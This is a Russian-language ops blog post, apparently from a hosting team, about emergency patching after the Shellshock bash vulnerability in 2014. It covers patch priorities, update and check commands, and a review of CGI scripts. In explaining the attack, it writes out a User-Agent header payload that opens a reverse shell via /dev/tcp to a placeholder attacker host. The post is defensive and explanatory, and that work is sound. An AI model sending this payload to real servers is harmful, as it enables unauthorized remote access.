Shellshock (CVE-2014-6271): экстренный патчинг под ночь
24 сентября появился Shellshock - критическая уязвимость в bash с удалённым выполнением кода. К 25-му уже гнали патчи по всем Linux-серверам, CGI на Apache - первый приоритет.
24 сентября 2014 опубликована CVE-2014-6271 (Shellshock) - критическая уязвимость в bash, позволяющая выполнять произвольный код через переменные окружения; особенно критична для CGI-скриптов на Apache
Shellshock прилетел неожиданно даже по меркам этого богатого на уязвимости года. 24 сентября вечером пошли первые сообщения, к утру 25-го стало понятно, что это не локальная неприятность, а серьёзная история. Мы к тому моменту уже поднимали патчи.
CVE-2014-6271 - уязвимость в bash, который обрабатывает переменные окружения при запуске. Суть в том, что bash парсит функции из переменных окружения, но не останавливается после закрывающей скобки - продолжает выполнять всё, что идёт следом. Это значит, что любой, кто может подсунуть значение переменной окружения в запускаемый bash, может выполнить произвольный код.
env x='() { :;}; echo уязвим' bash -c "echo тест"
Если в выводе появляется «уязвим» - bash не пропатчен.
Почему CGI - это отдельная головная боль
Теоретически уязвимость широкая: dhcpd передаёт переменные через bash-скрипты, git-хуки, forcecommand в sshd и ещё десяток мест. Но практический эксплойт без аутентификации - это Apache с CGI-скриптами.
Как это работает: браузер отправляет HTTP-запрос с заголовком User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker/4444 0>&1. Apache передаёт заголовки как переменные окружения в CGI-скрипт. CGI-скрипт запускается через bash. Bash видит функцию, парсит, выполняет хвост. Всё. Реверс-шелл открыт от имени www-data, без единой строки аутентификации.
У нескольких managed-клиентов на серверах жили устаревшие CGI-скрипты - что-то написанное пять-семь лет назад, что «просто работает» и никто не трогает. Именно такой код и оказывается в зоне риска: работает, в мониторинг не попадает, про него никто не думает.
Как проходил патчинг
Приоритеты расставили быстро:
- Первый приоритет - серверы с Apache и mod_cgi/mod_cgid. Любой из них с живым CGI-скриптом - это открытая дверь. Сначала туда.
- Второй приоритет - DHCP-серверы. dhclient на Linux использует bash-скрипты для обработки событий. Если DHCP-сервер в сети злоумышленника - тоже вектор.
- Третий приоритет - всё остальное. Даже без явного вектора: bash везде, завтра найдут ещё один путь.
На CentOS 6/7 и RHEL обновление вышло быстро:
yum update bash
На Ubuntu/Debian:
apt-get update && apt-get install --only-upgrade bash
После обновления - проверка:
bash --version
env x='() { :;}; echo уязвим' bash -c "echo тест"
Вторая команда не должна вывести «уязвим». У нескольких серверов на Debian старого выпуска первый патч (bash_4.1-3+deb6u1) оказался неполным - CVE-2014-6271 закрыта, но вылезла CVE-2014-7169, ещё одна вариация того же бага. Пришлось ждать следующего пакета.
Что делали с CGI
Параллельно с патчингом прошлись по Apache-конфигурациям. У двух клиентов нашли активный mod_cgi с работающими скриптами - perl и sh. Один из sh-скриптов вызывал bash явно через shebang.
Пока патч ещё не встал на всех серверах, временно отключали mod_cgi там, где CGI не нужен в принципе (оказалось, что у части клиентов он был включён по дефолту при установке Apache и так и остался). Где CGI нужен - проверяли каждый скрипт: можно ли переписать shebang с /bin/bash на /bin/sh или вообще убрать bash из цепочки.
Это отдельная неприятность Shellshock: патч bash - это хорошо, но инвентаризация CGI - это работа, которую давно надо было сделать. Shellshock просто её форсировал.
Что вызвало вопросы
Патч первых суток закрыл CVE-2014-6271, но тут же появились CVE-2014-7169, CVE-2014-7186, CVE-2014-7187 - новые вариации того же класса проблем. Стало понятно, что это не «одна уязвимость с патчем», а класс проблем в парсере bash, который будут расковыривать ещё некоторое время.
На этом фоне отдельные рекомендации советовали «заменить bash на dash или ash там, где bash не нужен». Технически правильно, практически - нетривиально: bash везде в скриптах, в shebang, в $SHELL переменных. Механическая замена без проверки ломает скрипты, которые используют bash-специфичный синтаксис.
Мы пошли по пути: патчить bash быстро, смотреть на CGI внимательно, проверять вектора. Полная замена bash - отдельная задача, не на сутки.
Что сейчас
К концу дня 25 сентября основная часть серверов была пропатчена. Несколько серверов со старыми дистрибутивами - на следующее утро, когда подтянулись пакеты для старых веток. CGI-ревизия у двух клиентов продолжается - нашли больше скриптов, чем ожидали, часть из них неактивна, но лежит и ждёт.
Shellshock хорош тем, что явно показал: CGI-скрипты на продакшн-серверах - это не нейтральный артефакт прошлого. Это поверхность атаки, которую надо держать в поле зрения. Подробнее про аудит CGI - в следующем посте.
- SSL-аудит nginx после Heartbleed: от B до A минимальными правками · 19 августа 2014